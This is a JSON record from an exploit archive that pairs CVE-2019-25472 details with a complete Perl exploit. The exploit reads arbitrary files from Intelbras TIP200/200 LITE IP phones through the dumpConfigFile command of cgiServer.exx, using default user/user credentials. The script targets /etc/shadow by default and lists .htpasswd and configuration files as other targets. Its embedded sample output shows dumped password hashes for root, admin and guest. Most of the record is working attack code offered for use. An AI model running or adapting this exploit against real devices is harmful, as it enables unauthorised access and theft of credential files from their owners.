{"exploit":{"id":"EDB-47337","name":"Intelbras TELEFONE IP TIP200/200 LITE 60.61.75.15 - 'dumpConfigFile' Arbitrary File Read","description":"Intelbras TELEFONE IP TIP200/200 LITE 60.61.75.15 - 'dumpConfigFile' Arbitrary File Read","cves":["CVE-2019-25472"],"author":"Todor Donev","published":"2019-09-02","platform":"cgi","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47337","path":"exploits/cgi/remote/47337.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47337.pl","vulnerabilities":[{"id":"CVE-2019-25472","state":"PUBLISHED","title":"IntelBras Telefone IP TIP200/200 LITE Arbitrary File Read via dumpConfigFile","titleSource":"CVE Program","description":"IntelBras Telefone IP TIP200 and 200 LITE contain an unauthenticated arbitrary file read vulnerability in the dumpConfigFile function accessible via the cgiServer.exx endpoint. Attackers can send GET requests to /cgi-bin/cgiServer.exx with the command parameter containing dumpConfigFile() to read sensitive files including /etc/shadow and configuration files without proper authorization.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-25472","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-25472"},"updatedAt":"2026-11-17T21:59:49.944Z","retrievedAt":"2026-11-26T08:15:31.732Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47337.png?v=2","url":"https://exploitbin.com/exploits/EDB-47337","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47337/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47337/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n#\n#  IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 'dumpConfigFile' Pre-Auth Remote Arbitrary File Read\n#\n#  Todor Donev 2019 (c) <todor.donev at gmail.com>\n#\n#\n#  Disclaimer:\n#  This or previous programs are for Educational purpose ONLY. Do not use it without permission.\n#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages\n#  caused by direct or indirect use of the  information or functionality provided by these programs.\n#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs\n#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss,\n#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's\n#  responsibility.\n#\n#  Use them at your own risk!\n#\n#  [test@localhost intelbras]$ perl intelbras_telefone_ip_tip_200_200_lite.pl\n#\n#  # IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 'dumpConfigFile' Pre-Auth Remote Arbitrary File Read\n#  # ========================================================================================================\n#  # Author: Todor Donev 2019 (c) <todor.donev at gmail.com>\n#  # ========================================================================================================\n#  # >  Authorization => Basic dXNlcjp1c2Vy\n#  # >  User-Agent => Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)\n#  # >  Content-Type => application/x-www-form-urlencoded\n#  # <  Accept-Ranges => bytes\n#  # <  Server => SIPPhone\n#  # <  Content-Type => text/html;charset=UTF-8\n#  # <  Expires => -1\n#  # <  Client-Date => Sun, 01 Sep 2019 13:37:00 GMT\n#  # <  Client-Peer => 192.168.1.1\n#  # <  Client-Response-Num => 1\n#  # ========================================================================================================\n#  root:$1$IJZx7biF$BgyHlA/AgR27VSEBALpqn1:11876:0:99999:7:::\n#  admin:$1$Bwt9zCNI$7rGLYt.wk.axE.6FUNFZe.:11876:0:99999:7:::\n#  guest:$1$A3lIJ0aO$Is8Ym.J/mpNejleongGft.:11876:0:99999:7:::\n#\n#  # ========================================================================================================\n#  [test@localhost intelbras]$\n#\n#  Simple Mode:\n#  perl intelbras_telefone_ip_tip_200_200_lite.pl | grep -v \"^#\"\n#\nuse strict;\nuse v5.10;\nuse HTTP::Request;\nuse LWP::UserAgent;\nuse WWW::UserAgent::Random;\n\nmy $host = shift || '';\nmy $file = shift || '/etc/shadow';\nmy $user = shift || 'user';\nmy $pass = shift || 'user';\n\nprint \"\n# IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 \\'dumpConfigFile\\' Pre-Auth Remote Arbitrary File Read\n# ========================================================================================================\n# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>\n\";\nif ($host !~ m/^http/){\nprint  \"# e.g. perl $0 https://target:port/ /etc/shadow user user\n# e.g. perl $0 https://target:port/ /phone/factory/user.ini user user\n# e.g. perl $0 https://target:port/ /phone/config/WebItemsLevel.cfg user user\n# e.g. perl $0 https://target:port/ /phone/config/.htpasswd user user\n\";\nexit;\n}\n\nmy $user_agent = rand_ua(\"browsers\");\nmy $browser  = LWP::UserAgent->new(\n                                        protocols_allowed => ['http', 'https'],\n                                        ssl_opts => { verify_hostname => 0 }\n                                );\n   $browser->timeout(10);\n   $browser->agent($user_agent);\nmy $payload = $host.\"/cgi-bin/cgiServer.exx?command=dumpConfigFile(\\\"$file\\\")\";\nmy $request = HTTP::Request->new (GET => $payload,[ Content_Type => \"application/x-www-form-urlencoded\"], \" \");\n$request->authorization_basic($user, $pass);\nprint \"# ========================================================================================================\\n\";\nmy $response = $browser->request($request);\nsay \"# >  $_ => \", $request->header($_) for  $request->header_field_names;\nsay \"# <  $_ => \", $response->header($_) for  $response->header_field_names;\nprint \"# 401 Unauthorized! Wrong Username or Password!\\n\" and exit if ($response->code eq '401');\nprint \"# ========================================================================================================\\n\";\n\nif ($response->content =~ m/$file/g){\n\n        my $content = $response->content;\n        $content =~ s/$file//g;\n        $content =~ s/^\\n+//;\n        print $content;\n        print \"\\n# ========================================================================================================\\n\";\n        exit;\n\n} else {\n\n        print \"# Exploit failed or full path is wrong..\\n\";\n        exit;\n\n}","sha256":"96c66178125c41bbbed3f1c4bed63d3e9268cadf8410b7c015e720888ffe7f62","bytes":4574,"fetchedAt":"2026-11-26T20:06:59.243Z","encoding":"utf-8 (display only; download retains original bytes)"}